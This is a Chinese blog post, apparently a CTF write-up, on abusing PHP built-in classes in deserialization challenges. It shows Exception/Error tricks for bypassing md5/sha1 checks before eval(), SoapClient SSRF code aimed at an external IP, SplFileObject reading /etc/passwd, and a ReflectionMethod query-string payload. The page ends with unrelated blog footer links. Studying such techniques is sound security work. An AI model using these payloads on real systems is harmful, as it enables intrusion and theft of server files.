php原生类的利用

查看原生类中具有魔法函数的类
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n"."<br/>";
}
}
}
/**
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
Generator::__wakeup
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
AssertionError::__wakeup
AssertionError::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
PDO::__wakeup
PDOStatement::__wakeup
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
CURLFile::__wakeup
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
*/

原生类绕 Exception Error 绕过md5/sha1(其实还可以进行xss,可以自行搜索)

有时候,在题目中出现了反序列化,但是没有给出具体类,一般不是源码泄露再审计,就是利用php的原生类。

[2020 Geek Challenge GreatPHP]

<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover; public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
} if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
} ?>

我们的目的就是绕过md5和sha1的校验,最后执行evilCode。

看到md5和sha1的比较,最先想到的就是利用md5和sha1都无法解析数组绕过,事实证明确实可以绕过md5和sha1的检测。但却无法执行代码。调试发现,eval无法解析数组变量,并返回错误。。。这不就直接卡死在这儿。 强类型匹配,除了利用函数解析漏洞,就只能真的靠md5值真相等了。但直接强行找两个文件md5值相等,而且有一个其中还是可以执行的代码,我觉得这不太可能把!!!

看了大师傅的WP,发现可以用Exception类进行绕过。

$str = "?>"; 中为什么要在前面加上一个 ?> 呢?因为 Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”

原生类 SoapClient 进行SSRF

SoapClient是php拓展用于发起web请求的工具。它内置一个__call魔术方法,当被触发时,会进行web访问请求。这个比较常用

<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

原生类进行目录遍历

DirectoryIterator
FilesystemIterator
GlobIterator

DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。

原生类进行读取文件

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}

使用 ReflectionMethod 类获取类方法的相关信息

[2021 CISCN]easy_source

<?php
class User
{
private static $c = 0; function a()
{
return ++self::$c;
} function b()
{
return ++self::$c;
} function c()
{
return ++self::$c;
} function d()
{
return ++self::$c;
} function e()
{
return ++self::$c;
} function f()
{
return ++self::$c;
} function g()
{
return ++self::$c;
} function h()
{
return ++self::$c;
} function i()
{
return ++self::$c;
} function j()
{
return ++self::$c;
} function k()
{
return ++self::$c;
} function l()
{
return ++self::$c;
} function m()
{
return ++self::$c;
} function n()
{
return ++self::$c;
} function o()
{
return ++self::$c;
} function p()
{
return ++self::$c;
} function q()
{
return ++self::$c;
} function r()
{
return ++self::$c;
} function s()
{
return ++self::$c;
} function t()
{
return ++self::$c;
} } $rc=$_GET["rc"]; // 传入原生类名
$rb=$_GET["rb"]; // 传入类属性
$ra=$_GET["ra"]; // 传入类属性
$rd=$_GET["rd"]; // 传入类方法
$method= new $rc($ra, $rb); // 实例化刚才传入的原生类
var_dump($method->$rd()); // 调用类中的方法

利用 PHP 内置类中的 ReflectionMethod 类中的 getDocComment() 方法来读取 User 类里面各个函数的注释。

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

[Refer](https://whoamianony.top/2021/03/10/Web安全/PHP 原生类的利用小结/)

[php安全]原生类的利用的更多相关文章

  1. 反序列化之PHP原生类的利用

    目录 基础知识 __call SoapClient __toString Error Exception 实例化任意类 正文 文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到 ...

  2. net core天马行空系列: 一个接口多个实现类,利用mixin技术通过自定义服务名,实现精准属性注入

    系列目录 1.net core天马行空系列:原生DI+AOP实现spring boot注解式编程 2.net core天马行空系列: 泛型仓储和声明式事物实现最优雅的crud操作 哈哈哈哈,大家好,我 ...

  3. XML带多属性解析为一个实体类(利用反射)

    最近在对接一个银行的项目,大概就是类似一个钱包的功能,在请求返回的数据时,发现返回的数据标准的XML格式的支付串,格式如下 <kColl id="inputOrig" app ...

  4. 【转】一个小工具类,利用shareObject把数据缓存

    原文链接:http://bbs.9ria.com/thread-284082-1-2.html 之前做一个数据缓存,就顺便把写入缓存,清除缓存,获取缓存都整理了一下,其中也做了些参考,个人水平有限,有 ...

  5. GradientDrawable类的利用动态设置样式中的颜色

    1.xml样式文件 <?xml version="1.0" encoding="utf-8"?> <shape xmlns:android=& ...

  6. MUI离线原生打包,利用Android Studio进行原生打包MUI项目

    首先从官网http://www.dcloud.io/ 下载HBuilder,用该软件创建一个HTML5的移动APP项目,具体可去官网查看相应的文档. 接下来就是如何将写好的HBuilder引入到我们的 ...

  7. 105、Java中String类之利用indexOf()方法判断子字符串是否存在

    01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...

  8. 089、Java中String类之利用构造方法实例化

    01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...

  9. Struts2中实现Web项目的初始化工作

    Struts2中实现Web项目的初始化工作 注:通常web系统在启动时需要做一些初始化的工作,比如初始化系统全局变量,加载自定义配置文件,启动定时任务等.  一.在Struts中实现系统的初始化工作 ...

随机推荐

  1. 前端面试手写代码——JS数组去重

    目录 1 测试用例 2 JS 数组去重4大类型 2.1 元素比较型 2.1.1 双层 for 循环逐一比较(es5常用) 2.1.2 排序相邻比较 2.2 查找元素位置型 2.2.1 indexOf ...

  2. ICMP 协议仿真及ping命令用途

    1.实验目的 加深对 IPv4 协议首部各定义域的理解,掌握路由表的结构和基本配置命令,熟悉 ICMP 的调试操作. 2.实验原理 IPv4 协议定义,网络层协议的相关 RFC 定义和描述. 3.实验 ...

  3. JMeter学习记录收藏

    1.如何进行一个简单的性能测试 2.JMeter各种功能名词解释,比较全 3.聚合报告分析 4.CSV文件参数化,名词解释 5.JMeter快捷键

  4. Windows 常用配置

    安装IIS服务器 在服务器管理器中,选择"角色"添加角色 进入添加角色向导,在安装界面,选择服务器角色为:" Web服务器(IIS) " 角色服务勾选:应用程序 ...

  5. 数据库炸了----我就重启了一下啊(Communications link failure)

    重启数据库后,数据库大部分时间连不上了:连续请求不会报错,请求间隔时间稍微长一点就会报错报错如图: com.mysql.cj.jdbc.exceptions.CommunicationsExcepti ...

  6. 将 ASP.Net Core WebApi 应用打包至 Docker 镜像

    将 ASP.Net Core WebApi 应用打包至 Docker 镜像 运行环境为 Windows 10 专业版 21H1, Docker Desktop 3.6.0(67351),Docker ...

  7. Java 处理表格,真的很爽!

    一个简单又快速的表格处理库 大家好,我是鱼皮. 处理 Excel 表格是开发中经常遇到的需求,比如表格合并.筛选表格中的某些行列.修改单元格数据等. 今天给大家分享一个 Java 处理表格的工具库,不 ...

  8. [loj2470]有向图

    参考ExtremeSpanningTrees,考虑优化整体二分时求$g_{i}\in \{w_{mid},w_{mid+1}\}$的最优解 对于$m=n-1$的问题,不需要去网络流,可以直接树形dp ...

  9. springboot启动流程1

    public SpringApplication(ResourceLoader resourceLoader, Class<?>... primarySources) { this.res ...

  10. Python+selenium 之xpath定位